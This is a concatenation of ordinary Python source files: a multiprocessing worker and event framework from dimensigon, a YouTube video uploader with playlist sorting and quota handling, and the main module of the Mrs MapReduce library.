import abc import functools import inspect import logging import multiprocessing as mp import multiprocessing.queues as mpq import signal import sys import threading import time import typing as t from queue import Empty, Full from dimensigon.use_cases import mptools_events as events from dimensigon.utils.helpers import is_iterable_not_string DEFAULT_POLLING_TIMEOUT = 0.1 MAX_SLEEP_SECS = 0.1 _logger = logging.getLogger('dm.mptools') class MPQueue(mpq.Queue): # -- See StackOverflow Article : # https://stackoverflow.com/questions/39496554/cannot-subclass-multiprocessing-queue-in-python-3-5 # # -- tldr; mp.Queue is a _method_ that returns an mpq.Queue object. That object # requires a context for proper operation, so this __init__ does that work as well. def __init__(self, *args, **kwargs): ctx = mp.get_context() super().__init__(*args, **kwargs, ctx=ctx) def safe_get(self, timeout=DEFAULT_POLLING_TIMEOUT): try: if timeout is None: return self.get(block=False) else: return self.get(block=True, timeout=timeout) except Empty: return None def safe_put(self, item, timeout=DEFAULT_POLLING_TIMEOUT): try: self.put(item, block=True, timeout=timeout) return True except Full: return False def drain(self): item = self.safe_get() while item: yield item item = self.safe_get() def safe_close(self): num_left = sum(1 for __ in self.drain()) self.close() self.join_thread() return num_left # -- useful function def _sleep_secs(max_sleep, end_time=999999999999999.9): # Calculate time left to sleep, no less than 0 return max(0.0, min(end_time - time.time(), max_sleep)) # -- Signal Handling class TerminateInterrupt(BaseException): pass class SignalObject: MAX_TERMINATE_CALLED = 3 def __init__(self, shutdown_event): self.terminate_called = 0 self.shutdown_event = shutdown_event def default_signal_handler(signal_object, exception_class, signal_num, current_stack_frame): signal_object.terminate_called += 1 signal_object.shutdown_event.set() # if signal_object.loop: # signal_object.loop.stop() _logger.info("shutdown event set") if signal_object.terminate_called >= signal_object.MAX_TERMINATE_CALLED: raise exception_class() def init_signal(signal_num, signal_object, exception_class, handler): handler = functools.partial(handler, signal_object, exception_class) signal.signal(signal_num, handler) signal.siginterrupt(signal_num, False) def init_signals(shutdown_event, int_handler, term_handler): signal_object = SignalObject(shutdown_event) init_signal(signal.SIGINT, signal_object, KeyboardInterrupt, int_handler) init_signal(signal.SIGTERM, signal_object, TerminateInterrupt, term_handler) return signal_object class Observer(list): def __call__(self, event: events.EventMessage): for item in self: item(event) EventType = t.Union[str, t.Type[events.EventMessage], events.EventMessage] class EventHandler(threading.Thread): def __init__(self, queue: MPQueue, *args, **kwargs): super().__init__() self.queue = queue self.stop_event = threading.Event() self._event_handlers = {} @staticmethod def _e_type(event): if inspect.isclass(event) and issubclass(event, events.EventMessage): e_type = event.__name__ elif isinstance(event, events.EventMessage): e_type = event.event_type else: e_type = event return e_type def listen(self, event_type: t.Union[t.Iterable[EventType], EventType], callback): if not is_iterable_not_string(event_type): event_type = [event_type] for et in event_type: sig = inspect.signature(callback) assert len(sig.parameters) == 1, "Callback must get 1 positional argument" e_type = self._e_type(et) if e_type not in self._event_handlers: self._event_handlers[e_type] = Observer() self._event_handlers[e_type].append(callback) def detach(self, event_type: t.Union[t.Iterable[EventType], EventType], callback): if not is_iterable_not_string(event_type): event_type = [event_type] for et in event_type: e_type = self._e_type(et) self._event_handlers.get(e_type, []).remove(callback) def run(self): while not self.stop_event.is_set(): event = self.queue.safe_get() if event: # _logger.debug(f"Processing event {event}") e_type = self._e_type(event) if event in (events.StopEventHandler, events.Stop): break else: [h(event) for h in self._event_handlers.get(e_type, [])] def stop(self): self.stop_event.set() self.queue.safe_put(events.StopEventHandler()) # -- Worker classes class Worker: MAX_TERMINATE_CALLED = 3 int_handler = staticmethod(default_signal_handler) term_handler = staticmethod(default_signal_handler) def __init__(self, name, startup_event: mp.Event, shutdown_event: mp.Event, publish_q: MPQueue, event_q: MPQueue, *args, **kwargs): self.name = name self.logger = logging.getLogger(f'dm.{self.name}') self.startup_event = startup_event self.shutdown_event = shutdown_event self.publish_q = publish_q self.event_q = event_q self.dispatcher = EventHandler(self.event_q) self.terminate_called = 0 self.init_args(*args, **kwargs) def _init_signals(self): self.logger.debug("Entering init_signals") try: signal_object = init_signals(self.shutdown_event, self.int_handler, self.term_handler) except ValueError: pass else: return signal_object # loop = asyncio.get_event_loop() # for signame in {'SIGINT', 'SIGTERM'}: # loop.add_signal_handler( # getattr(signal, signame), # functools.partial(default_async_signal_handler, signame, loop)) def init_args(self, *args, **kwargs): pass def startup(self): self.logger.debug("Entering startup") pass def _startup(self): self.dispatcher.start() self.startup() def shutdown(self): self.logger.debug("Entering shutdown") pass def _shutdown(self): self.shutdown() self.dispatcher.stop() self.dispatcher.join() def _main_loop(self): self.logger.debug("Entering main_loop") while not self.shutdown_event.is_set(): self.main_func() @abc.abstractmethod def main_func(self, *args, **kwargs): self.logger.debug("Entering main_func") raise NotImplementedError(f"{self.__class__.__name__}.main_func is not implemented") def run(self): self._init_signals() try: self._startup() self.startup_event.set() self._main_loop() self.logger.info("Normal Shutdown") self.publish_q.safe_put(events.EventMessage("SHUTDOWN", msg_src=self.name, msg="Normal")) return 0 except BaseException as exc: # -- Catch ALL exceptions, even Terminate and Keyboard interrupt self.logger.error(f"Exception Shutdown: {exc}", exc_info=True) self.publish_q.safe_put(events.EventMessage("FATAL", msg_src=self.name, msg=exc)) if type(exc) in (TerminateInterrupt, KeyboardInterrupt): sys.exit(1) else: sys.exit(2) finally: self._shutdown() class TimerWorker(Worker): INTERVAL_SECS = 10 MAX_SLEEP_SECS = 0.02 def _main_loop(self): self.next_time = time.time() + self.INTERVAL_SECS while not self.shutdown_event.is_set(): sleep_secs = _sleep_secs(self.MAX_SLEEP_SECS, self.next_time) time.sleep(sleep_secs) if self.next_time and time.time() > self.next_time: self.logger.log(1, f"Calling main_func") self.main_func() self.next_time = time.time() + self.INTERVAL_SECS # class QueueWorker(Worker): # def init_args(self, args): # self.logger.debug(f"Entering QueueProcWorker.init_args : {args}") # self.work_q, = args # # def _main_loop(self): # self.logger.debug("Entering QueueProcWorker.main_loop") # while not self.shutdown_event.is_set(): # item = self.work_q.safe_get() # if not item: # continue # self.logger.debug(f"QueueProcWorker.main_loop received '{item}' message") # if item == "END": # break # else: # self.main_func(item) # -- Process Wrapper def proc_worker_wrapper(proc_worker_class, name, startup_evt, shutdown_evt, publish_q, event_q, *args, **kwargs): proc_worker = proc_worker_class(name, startup_evt, shutdown_evt, publish_q, event_q, *args, **kwargs) return proc_worker.run() class Proc: STARTUP_WAIT_SECS = 3 SHUTDOWN_WAIT_SECS = 90 def __init__(self, name: str, worker_class: t.Type[Worker], shutdown_event: mp.Event, publish_q: MPQueue, event_q: MPQueue, async_loop=False, *args, **kwargs): self.name = name self.logger = logging.getLogger(f'dm.{self.name}') self.shutdown_event = shutdown_event self.startup_event = mp.Event() self._proc_worker = worker_class(f"{name}", self.startup_event, shutdown_event, publish_q, event_q, async_loop, *args, **kwargs) self.proc = mp.Process(target=self._proc_worker.run, name=name) self.logger.debug(f"Starting {name} process") self.proc.start() started = self.startup_event.wait(timeout=Proc.STARTUP_WAIT_SECS) self.logger.debug(f"{name} {'started' if started else 'NOT started'}") if not started: self.terminate() raise RuntimeError(f"Process {name} failed to startup after {Proc.STARTUP_WAIT_SECS} seconds") def __getattr__(self, item): return getattr(self._proc_worker, item) def full_stop(self, wait_time=SHUTDOWN_WAIT_SECS): self.logger.debug(f"Stopping process {self.name}") self.shutdown_event.set() self.proc.join(wait_time) if self.proc.is_alive(): self.terminate() def terminate(self): self.logger.debug(f"Terminating process {self.name}") NUM_TRIES = 3 tries = NUM_TRIES while tries and self.proc.is_alive(): self.proc.terminate() time.sleep(0.01) tries -= 1 if self.proc.is_alive(): self.logger.error(f"Failed to terminate {self.name} after {NUM_TRIES} attempts") return False else: self.logger.info(f"Terminated {self.name} after {NUM_TRIES - tries} attempt(s)") return True class Thread(Proc): SHUTDOWN_WAIT_SECS = 90 def __init__(self, name: str, worker_class: t.Type[Worker], shutdown_event: mp.Event, publish_q: MPQueue, event_q: MPQueue, async_loop=False, *args, **kwargs): self.name = name self.logger = logging.getLogger(f'dm.{self.name}') self.shutdown_event = shutdown_event self.startup_event = mp.Event() self._proc_worker = worker_class(f"{name}", self.startup_event, shutdown_event, publish_q, event_q, async_loop, *args, **kwargs) self.proc = threading.Thread(target=self._proc_worker.run, name=name) self.logger.debug(f"Starting {name} thread") self.proc.start() self.logger.debug(f"{name} started") def __getattr__(self, item): return getattr(self._proc_worker, item) def full_stop(self, wait_time=SHUTDOWN_WAIT_SECS): self.logger.debug(f"Stopping thread {self.name}") self.shutdown_event.set() self.proc.join(wait_time) if self.proc.is_alive(): self.logger.warning(f"Thread {self.name} did not stop") def terminate(self): pass # -- Main Wrappers class MainContext: STOP_WAIT_SECS = 3.0 def __init__(self, logger=None): self.logger = logging.getLogger(logger or 'dm.main') self.procs: t.List[Proc] = [] self.threads: t.List[Thread] = [] self.queues: t.List[MPQueue] = [] self.shutdown_event = mp.Event() self.publish_q = MPQueue() def forward_events(self): item = True while item: item = self.publish_q.safe_get() if item: self.logger.debug(f"Spread event {item}") if item == events.Stop: break [q.safe_put(item) for q in self.queues] def init_signals(self): return init_signals(self.shutdown_event, default_signal_handler, default_signal_handler) def start(self): pass def stop(self): self._stopped_procs_result = self.stop_procs() self._stopped_thread_result = self.stop_threads() self._stopped_queues_result = self.stop_queues() def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): if exc_type: self.logger.exception(f"Exception: {exc_val}", exc_info=(exc_type, exc_val, exc_tb)) self.stop() # -- Don't eat exceptions that reach here. return not exc_type def Proc(self, worker_class: t.Type[Worker], *args, **kwargs): queue = self.MPQueue() if 'name' in 'kwargs': name = kwargs.pop('name') else: name = worker_class.__name__ proc = Proc(name, worker_class, self.shutdown_event, self.publish_q, queue, *args, **kwargs) self.procs.append(proc) return proc def Thread(self, worker_class: t.Type[Worker], *args, **kwargs): queue = self.MPQueue() if 'name' in 'kwargs': name = kwargs.pop('name') else: name = worker_class.__name__ proc = Thread(name, worker_class, self.shutdown_event, self.publish_q, queue, *args, **kwargs) self.threads.append(proc) return proc def MPQueue(self, *args, **kwargs): q = MPQueue(*args, **kwargs) self.queues.append(q) return q def publish(self, event): [q.safe_put(event) for q in self.queues] def stop_procs(self): # self.publish(events.Stop(msg_src="stop_procs", msg="END")) self.shutdown_event.set() end_time = time.time() + self.STOP_WAIT_SECS num_terminated = 0 num_failed = 0 # -- Wait up to STOP_WAIT_SECS for all processes to complete for proc in self.procs: join_secs = _sleep_secs(self.STOP_WAIT_SECS, end_time) proc.proc.join(join_secs) # -- Clear the procs list and _terminate_ any procs that # have not yet exited still_running = [] while self.procs: proc = self.procs.pop() if proc.proc.is_alive(): if proc.terminate(): num_terminated += 1 else: still_running.append(proc) else: if hasattr(proc.proc, 'exitcode'): exitcode = proc.proc.exitcode if exitcode: self.logger.error(f"Process {proc.name} ended with exitcode {exitcode}") num_failed += 1 else: self.logger.debug(f"Process {proc.name} stopped successfully") self.procs = still_running return num_failed, num_terminated def stop_threads(self): # self.publish(events.Stop(msg_src="stop_procs", msg="END")) self.shutdown_event.set() end_time = time.time() + self.STOP_WAIT_SECS num_terminated = 0 num_failed = 0 # -- Wait up to STOP_WAIT_SECS for all processes to complete for th in self.threads: join_secs = _sleep_secs(self.STOP_WAIT_SECS, end_time) th.proc.join(join_secs) # -- Clear the procs list and _terminate_ any procs that # have not yet exited still_running = [] while self.threads: th = self.threads.pop() if th.proc.is_alive(): still_running.append(th) else: num_terminated += 1 self.threads = still_running return num_terminated def stop_queues(self): num_items_left = 0 # -- Clear the queues list and close all associated queues for q in self.queues: num_items_left += sum(1 for __ in q.drain()) q.close() # -- Wait for all queue threads to stop while self.queues: q = self.queues.pop(0) q.join_thread() return num_items_left
youtube_uploader.py
from googleapiclient.discovery import build from google.auth.transport.requests import Request from google_auth_oauthlib.flow import Flow, InstalledAppFlow from googleapiclient.http import MediaFileUpload from googleapiclient.errors import HttpError from time import sleep from threading import Thread from tzlocal import get_localzone import pytz import os import pickle import json import datetime import logging class youtube_uploader(): def __init__(self, parent, jsonfile, youtube_args, sort=True): self.parent = parent self.logger = logging.getLogger(f'vodloader.{self.parent.channel}.uploader') self.end = False self.pause = False self.sort = sort self.jsonfile = jsonfile self.youtube_args = youtube_args self.youtube = self.setup_youtube(jsonfile) self.queue = [] self.upload_process = Thread(target=self.upload_loop, args=(), daemon=True) self.upload_process.start() def stop(self): self.end = True def setup_youtube(self, jsonfile, scopes=['https://www.googleapis.com/auth/youtube.upload', 'https://www.googleapis.com/auth/youtube']): self.logger.info(f'Building YouTube flow for {self.parent.channel}') api_name='youtube' api_version = 'v3' pickle_dir = os.path.join(os.path.dirname(__file__), 'pickles') if not os.path.exists(pickle_dir): self.logger.info(f'Creating pickle directory') os.mkdir(pickle_dir) pickle_file = os.path.join(pickle_dir, f'token_{self.parent.channel}.pickle') creds = None if os.path.exists(pickle_file): with open(pickle_file, 'rb') as token: creds = pickle.load(token) if not creds or not creds.valid: if creds and creds.expired and creds.refresh_token: self.logger.info(f'YouTube credential pickle file for {self.parent.channel} is expired. Attempting to refresh now') creds.refresh(Request()) else: print(f'Please log into the YouTube account that will host the vods of {self.parent.channel} below') flow = InstalledAppFlow.from_client_secrets_file(jsonfile, scopes) creds = flow.run_console() with open(pickle_file, 'wb') as token: pickle.dump(creds, token) self.logger.info(f'YouTube credential pickle file for {self.parent.channel} has been written to {pickle_file}') else: self.logger.info(f'YouTube credential pickle file for {self.parent.channel} found!') return build(api_name, api_version, credentials=creds) def upload_loop(self): while True: if len(self.queue) > 0: try: self.upload_video(*self.queue[0]) del self.queue[0] except YouTubeOverQuota as e: self.wait_for_quota() else: sleep(1) if self.end: break def upload_video(self, path, body, id, keep=False, chunk_size=4194304, retry=3): self.logger.info(f'Uploading file {path} to YouTube account for {self.parent.channel}') uploaded = False attempts = 0 response = None while uploaded == False: media = MediaFileUpload(path, mimetype='video/mpegts', chunksize=chunk_size, resumable=True) upload = self.youtube.videos().insert(part=",".join(body.keys()), body=body, media_body=media) try: response = upload.execute() self.logger.debug(response) uploaded = response['status']['uploadStatus'] == 'uploaded' except HttpError as e: self.check_over_quota(e) except (BrokenPipeError, ConnectionResetError) as e: self.logger.error(e) if not uploaded: attempts += 1 if attempts >= retry: self.logger.error(f'Number of retry attempts exceeded for {path}') break if response and response['status']['uploadStatus'] == 'uploaded': self.logger.info(f'Finished uploading {path} to https://youtube.com/watch?v={response["id"]}') if self.youtube_args['playlistId']: if self.sort: response['tvid'], response['part'] = self.get_tvid_from_yt_video(response) response['timestamp'] = self.get_timestamp_from_yt_video(response) self.insert_into_playlist(response, self.youtube_args['playlistId']) else: self.add_video_to_playlist(response["id"], self.youtube_args['playlistId'], pos=0) self.parent.status[id] = True self.parent.status.save() if not keep: sleep(1) os.remove(path) else: self.logger.info(f'Could not upload {path}') def wait_for_quota(self): self.pause = True now = datetime.datetime.now() until = now + datetime.timedelta(days=1) until = until - datetime.timedelta(microseconds=until.microsecond, seconds=until.second, minutes=until.minute, hours=until.hour) until = pytz.timezone('US/Pacific').localize(until) now = get_localzone().localize(now) wait = until - now if wait.days > 0: wait = wait - datetime.timedelta(days=wait.days) self.logger.error(f'YouTube upload quota has been exceeded, waiting for reset at Midnight Pacific Time in {wait.seconds} seconds') sleep(wait.seconds + 15) self.pause = False def get_playlist_items(self, playlist_id): items = [] npt = "" i = 1 while True: request = self.youtube.playlistItems().list( part="snippet", maxResults=50, pageToken=npt, playlistId=playlist_id ) try: response = request.execute() except HttpError as e: self.check_over_quota(e) self.logger.debug(f'Retrieved page {i} from playlist {playlist_id}') items.extend(response['items']) if 'nextPageToken' in response: npt = response['nextPageToken'] i += 1 else: break return items def get_videos_from_playlist_items(self, playlist_items): videos = [] max_results = 50 length = len(playlist_items) i = 0 while i * max_results < length: top = max_results * (i + 1) if top > length: top = length ids = ",".join([x['snippet']['resourceId']['videoId'] for x in playlist_items[max_results*i:top]]) request = self.youtube.videos().list( part="snippet", id=ids ) try: response = request.execute() except HttpError as e: self.check_over_quota(e) self.logger.debug(f'Retrieved video info for videos: {ids}') videos.extend(response['items']) i += 1 for video in videos: video['tvid'], video['part'] = self.get_tvid_from_yt_video(video) video['timestamp'] = self.get_timestamp_from_yt_video(video) return videos def get_playlist_videos(self, playlist_id): return self.get_videos_from_playlist_items(self.get_playlist_items(playlist_id)) def get_channel_videos(self): request = self.youtube.channels().list(part="contentDetails", mine=True) try: r = request.execute() self.logger.debug('Retrieved channel upload playlist') uploads = r['items'][0]['contentDetails']['relatedPlaylists']['uploads'] except HttpError as e: self.check_over_quota(e) return self.get_playlist_videos(uploads) @staticmethod def get_tvid_from_yt_video(video): tvid = youtube_uploader.parse_tags(video, 'tvid') if tvid: tvid = tvid.split('p') id = "".join(filter(str.isdigit, tvid[0])) id = int(id) if len(tvid) > 1: part = "".join(filter(str.isdigit, tvid[1])) part = int(part) else: part = None return id, part else: return None, None @staticmethod def get_timestamp_from_yt_video(video): timestamp = youtube_uploader.parse_tags(video, 'timestamp') if timestamp != None: timestamp = datetime.datetime.fromtimestamp(float(timestamp)) return timestamp @staticmethod def parse_tags(video, tag_id:str): tag_id = tag_id + ':' result = None if 'tags' in video['snippet']: for tag in video['snippet']['tags']: if tag[:len(tag_id)] == tag_id: result = tag[len(tag_id):] return result def add_video_to_playlist(self, video_id, playlist_id, pos=-1): if pos == -1: pos = len(self.get_playlist_items(playlist_id)) request = self.youtube.playlistItems().insert( part="snippet", body={ "snippet": { "playlistId": playlist_id, "position": pos, "resourceId": { "kind": "youtube#video", "videoId": video_id } } } ) try: r = request.execute() self.logger.debug(f'Added video {video_id} to playlist {playlist_id} at position {pos}') return r except HttpError as e: self.check_over_quota(e) def set_video_playlist_pos(self, video_id, playlist_item_id, playlist_id, pos): request = self.youtube.playlistItems().update( part="snippet", body={ "id": playlist_item_id, "snippet": { "playlistId": playlist_id, "position": pos, "resourceId": { "kind": "youtube#video", "videoId": video_id } } } ) try: r = request.execute() self.logger.debug(f'Moved item {video_id} to position {pos} in playlist {playlist_id}') return r except HttpError as e: self.check_over_quota(e) def insert_into_playlist(self, video, playlist_id, reverse=False): self.logger.debug(f'Inserting video {video["id"]} into playlist {playlist_id} at position according to timestamp') playlist_items = self.get_playlist_items(playlist_id) videos = self.get_videos_from_playlist_items(playlist_items) videos = self.sort_playlist_by_timestamp(playlist_id, reverse=reverse, playlist_items=playlist_items, videos=videos) if videos: domain = range(len(videos)) if reverse: for i in domain: if video['timestamp'] == videos[i]['timestamp'] and video['part'] > videos[i]['part']: self.add_video_to_playlist(video['id'], playlist_id, pos=i) return i elif video['timestamp'] > videos[i]['timestamp']: self.add_video_to_playlist(video['id'], playlist_id, pos=i) return i self.add_video_to_playlist(video['id'], playlist_id, pos=len(videos)) return len(videos) else: for i in domain: if video['timestamp'] == videos[i]['timestamp'] and video['part'] < videos[i]['part']: self.add_video_to_playlist(video['id'], playlist_id, pos=i) return i elif video['timestamp'] < videos[i]['timestamp']: self.add_video_to_playlist(video['id'], playlist_id, pos=i) return i self.add_video_to_playlist(video['id'], playlist_id, pos=len(videos)) return len(videos) else: if reverse: self.add_video_to_playlist(video['id'], playlist_id, pos=0) else: self.add_video_to_playlist(video['id'], playlist_id, pos=-1) def check_sortable(self, videos): dupes = {} no_part = [] no_id = [] for video in videos: if video['tvid'] == None or video['timestamp'] == None: no_id.append(video['id']) if video['timestamp'] in dupes: dupes[video['timestamp']].append(video) else: dupes[video['timestamp']] = [video] for timestamp in dupes: if len(dupes[timestamp]) > 1: for video in dupes[timestamp]: if video['part'] == None: no_part.append(video['id']) if no_id != []: self.logger.error(f"There were videos found in the specified playlist to be sorted without a valid tvid or timestamp tag. As such this playlist cannot be reliably sorted. The videos specified are: {','.join(no_id)}") return False elif no_part != []: self.logger.error(f"There were videos found in the specified playlist to be sorted that has duplicate timestamp/tvid tags, but no part specified. As such this playlist cannot be reliably sorted. The videos specified are: {','.join(no_part)}") return False else: return True def sort_playlist_by_timestamp(self, playlist_id, reverse=False, playlist_items=None, videos=None): self.logger.debug(f'Sorting playlist {playlist_id} according to timestamp and part') if not playlist_items: playlist_items = self.get_playlist_items(playlist_id) videos = self.get_videos_from_playlist_items(playlist_items) elif not videos: videos = self.get_videos_from_playlist_items(playlist_items) if self.check_sortable(videos): videos.sort(reverse=reverse, key=lambda x: (x['timestamp'], x['part'])) else: return False i = 0 while i < len(videos): if videos[i]['id'] != playlist_items[i]['snippet']['resourceId']['videoId']: j = i + 1 while videos[i]['id'] != playlist_items[j]['snippet']['resourceId']['videoId'] and j <= len(videos): j+=1 if j < len(videos): self.set_video_playlist_pos(playlist_items[j]['snippet']['resourceId']['videoId'], playlist_items[j]['id'], playlist_id, i) playlist_items.insert(i, playlist_items.pop(j)) else: self.logger.error('An error has occurred while sorting the playlist') return False else: i+=1 return videos def check_over_quota(self, e: HttpError): if e.content: c = json.loads(e.content) if c['error']['errors'][0]['domain'] == 'youtube.quota' and c['error']['errors'][0]['reason'] == 'quotaExceeded': self.logger.error(f'YouTube client quota has been exceeded!') raise YouTubeOverQuota else: self.logger.error(e.resp) self.logger.error(e.content) class YouTubeOverQuota(Exception): """ called when youtube upload quota is exceeded """ pass
main.py
# Mrs # Copyright 2008-2012 Brigham Young University # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Mrs main method and implementations. An Implementation defines the implementation function that will be run and specifies its command-line options. """ from __future__ import division, print_function # In this file, we perform several imports inside of methods in order to # reduce the initial startup time (especially to make --help more pleasant). import binascii import logging import multiprocessing import os import random import signal import sys import threading import time import traceback import warnings from . import master from . import param from .param import ParamObj, Param from . import runner from . import serial from . import util from .version import __version__ USAGE = ("" """%prog [OPTIONS] [ARGS] Mrs Version """ + __version__ + """ The default implementation is Serial. Note that you can give --help separately for each implementation.""" ) # Set up the default random seed. Inspired by how the random module works. # Note that we keep the seed at 32 bits to make it manageable. SEED_BYTES = 4 SEED_BITS = 8 * SEED_BYTES try: DEFAULT_SEED = int(binascii.hexlify(os.urandom(SEED_BYTES)), 16) except NotImplementedError: import time DEFAULT_SEED = hash(time.time()) logger = logging.getLogger('mrs') def main(program_class, update_parser=None, args=None): """Run a MapReduce program. Requires a program class (which may inherit from mrs.MapReduce). The optional `args` attribute, if specified, is used instead of `sys.argv`. The `update_parser` parameter is deprecated. In its simplest form, a program class must have an `__init__` method taking `opts` and `args` parameters and a `run` method taking a `job` parameter, though `mrs.MapReduce` defines a default higher-level interface. If you want to modify the default Mrs Parser, provide an update_parser classmethod on the program_class that takes a parser and either modifies it or returns a new one. Note that no command-line option should ever have the value None because None cannot be serialized and sent over the network. """ parser = option_parser() if hasattr(program_class, 'update_parser'): parser = program_class.update_parser(parser) if update_parser: warnings.warn('The update_parser argument is deprecated.', DeprecationWarning) parser = update_parser(parser) opts, args = parser.parse_args(args) mrs_impl = param.instantiate(opts, 'mrs') mrs_impl.program_class = program_class try: exitcode = mrs_impl.main(opts, args) sys.exit(exitcode) except KeyboardInterrupt: logger.critical('Quitting due to keyboard interrupt.') sys.exit(1) def option_parser(): """Create the default Mrs Parser The parser is a param.OptionParser. It is configured to use the resolve conflict_handler, so any option can be overridden simply by defining a new option with the same option string. The remove_option and get_option methods still work, too. Note that overriding an option only shadows it while still allowing its other option strings to work, but remove_option completely removes the option with all of its option strings. The usage string can be specified with set_usage, thus overriding the default. However, often what you really want to set is the epilog. The usage shows up in the help before the option list; the epilog appears after. """ parser = param.OptionParser(conflict_handler='resolve') parser.usage = USAGE parser.add_option('-I', '--mrs', dest='mrs', metavar='IMPLEMENTATION', action='extend', search=['mrs.main'], default='Serial', help='Mrs Implementation (Serial, Master, Slave, Bypass, etc.)') return parser class BaseImplementation(ParamObj): """The base implementation. This needs to be extended to be useful. """ _params = dict( verbose=Param(type='bool', doc='Verbose mode (set log level to INFO)'), debug=Param(type='bool', doc='Debug mode (set log level to DEBUG)'), profile=Param(type='bool', doc='Run the python profiler'), # Seed needs to be a string to avoid triggering XMLRPC limits: seed=Param(default=str(DEFAULT_SEED), doc='Random seed, default changes each run'), timing_file=Param(doc='Name of a file to write timing data to') ) def __init__(self): ParamObj.__init__(self) def main(self, opts=None, args=None): if opts is None: opts = object() if args is None: args = [] start_time = time.time() if self.debug: logger.setLevel(logging.DEBUG) elif self.verbose: logger.setLevel(logging.INFO) else: logger.setLevel(logging.WARNING) try: return self._main(opts, args) finally: if self.timing_file: with open(self.timing_file, 'w') as timing_file: total_time = time.time() - start_time print('total_time=%s' % total_time, file=timing_file) def _main(self, opts, args): """Method to be overridden by subclasses.""" raise NotImplementedError('Implementation must be extended.') def make_job_process(self, opts, args, jobdir=None): """Creates a job process. Returns a (process, connection) pair. """ from . import job job_conn, child_job_conn = multiprocessing.Pipe() child_job_quit_pipe, job_quit_pipe = os.pipe() job_proc = multiprocessing.Process(target=job.job_process, name='Job Process', args=(self.program_class, opts, args, jobdir, child_job_conn, child_job_quit_pipe, self.use_bucket_server)) return job_proc, job_conn, job_quit_pipe def start_worker_process(self, profile): from . import worker self.worker_pipe, worker_pipe2 = multiprocessing.Pipe() w = worker.Worker(self.program_class, worker_pipe2) if profile: target = w.profiled_run else: target = w.run worker_process = multiprocessing.Process(target=target, name='Worker') worker_process.start() def stop_worker_process(self): if self.worker_pipe is not None: from . import worker self.worker_pipe.send(worker.WorkerQuitRequest()) class Bypass(BaseImplementation): """Runs a program, bypassing the MapReduce functions.""" def _main(self, opts, args): program = self.program_class(opts, args) return program.bypass() class Implementation(BaseImplementation): """A general implementation referring to an overridable runner class.""" runner_class = None runner = None shared = None use_bucket_server = False worker_pipe = None def _main(self, opts, args): from . import job from . import runner from . import util if self.runner_class is None: raise NotImplementedError('Subclasses must set runner_class.') if self.shared: jobdir = util.mktempdir(self.shared, 'mrs.job_') self.use_bucket_server = False default_dir = os.path.join(jobdir, 'user_run') os.mkdir(default_dir) elif self.tmpdir: jobdir = '' util.try_makedirs(self.tmpdir) default_dir = util.mktempdir(self.tmpdir, 'mrs_master_') else: jobdir = None default_dir = None job_proc, job_conn, job_quit_pipe = self.make_job_process( opts, args, default_dir) try: job_proc.start() # Install a signal handler for debugging. signal.signal(signal.SIGUSR1, self.sigusr1_handler) signal.siginterrupt(signal.SIGUSR1, False) self.start_worker_process(opts.mrs__profile) self.runner = self.runner_class(self.program_class, opts, args, job_conn, jobdir, default_dir, self.worker_pipe) if opts.mrs__profile: exitcode = util.profile_call(self.runner.run, (), {}, 'mrs-runner.prof') else: exitcode = self.runner.run() except KeyboardInterrupt: logger.critical('Quitting due to keyboard interrupt.') exitcode = 1 finally: os.write(job_quit_pipe, b'\0') self.stop_worker_process() # Clean up jobdir if not self.keep_tmp: if jobdir: util.remove_recursive(jobdir) elif default_dir: util.remove_recursive(default_dir) return exitcode def sigusr1_handler(self, signum, stack_frame): # Apparently the setting siginterrupt can get reset on some platforms. signal.siginterrupt(signal.SIGUSR1, False) print('Received SIGUSR1. Current stack trace:', file=sys.stderr) traceback.print_stack(stack_frame) if self.runner is not None: self.runner.debug_status() class Serial(Implementation): """Runs a MapReduce job in serial.""" runner_class = serial.SerialRunner keep_tmp = False tmpdir = None def start_worker_process(self, profile): """Do-nothing method (no worker needed in the serial impl).""" pass class FileParams(ParamObj): _params = dict( tmpdir=Param(default='/var/tmp', doc='Local temporary storage'), keep_tmp=Param(type='bool', doc="Do not delete temporary files at completion"), ) class TaskRunnerParams(ParamObj): _params = dict( shared=Param(doc='Global shared area for temporary storage (optional)'), reduce_tasks=Param(default=1, type='int', doc='Default number of reduce tasks'), timing_interval=Param(default=0, type='float', doc="Interval (seconds) between outputting timing statistics"), sequential_datasets=Param(type='bool', doc="Compute datasets sequentially (for performance comparisons)"), max_failures=Param(default=3, type='int', doc='Maximum number of tolerable failures per task'), max_sort_size=Param(default=100, type='int', doc='Maximum amount of data (in MB) to sort in RAM'), ) class MockParallel(Implementation, FileParams, TaskRunnerParams): """MapReduce execution on POSIX shared storage, such as NFS. This creates all of the tasks that are used in the normal parallel implementation, but it executes them in serial. This can make debugging a little easier. Note that progress times often seem wrong in mockparallel. The reason is that most of the execution time is in I/O, and mockparallel tries to load the input for all reduce tasks before doing the first reduce task. """ runner_class = runner.MockParallelRunner class NetworkParams(ParamObj): _params = dict( port=Param(default=0, type='int', shortopt='-P', doc='RPC Port for incoming requests'), timeout=Param(default=120, type='float', doc='Timeout for RPC calls (incl. pings)'), pingdelay=Param(default=120, type='float', doc='Interval between pings'), ) class Master(Implementation, FileParams, NetworkParams, TaskRunnerParams): _params = dict( runfile=Param(default='', doc="Server's RPC port will be written here"), ) runner_class = master.MasterRunner use_bucket_server = True def start_worker_process(self, profile): """Do-nothing method (no worker needed in the master).""" pass class Slave(BaseImplementation, FileParams, NetworkParams): _params = dict( master=Param(shortopt='-M', doc='URL of the Master RPC server'), ) def _main(self, opts, args): """Run Mrs Slave Slave Main is called directly from Mrs Main. On exit, the process will return slave_main's return value. """ from . import slave if not self.master: logger.critical('No master URL specified.') return 1 self.start_worker_process(opts.mrs__profile) s = slave.Slave(self.program_class, self.master, self.tmpdir, self.pingdelay, self.timeout, self.worker_pipe) try: exitcode = s.run() finally: self.stop_worker_process() return exitcode # vim: et sw=4 sts=4
ospi_push_notifications.py
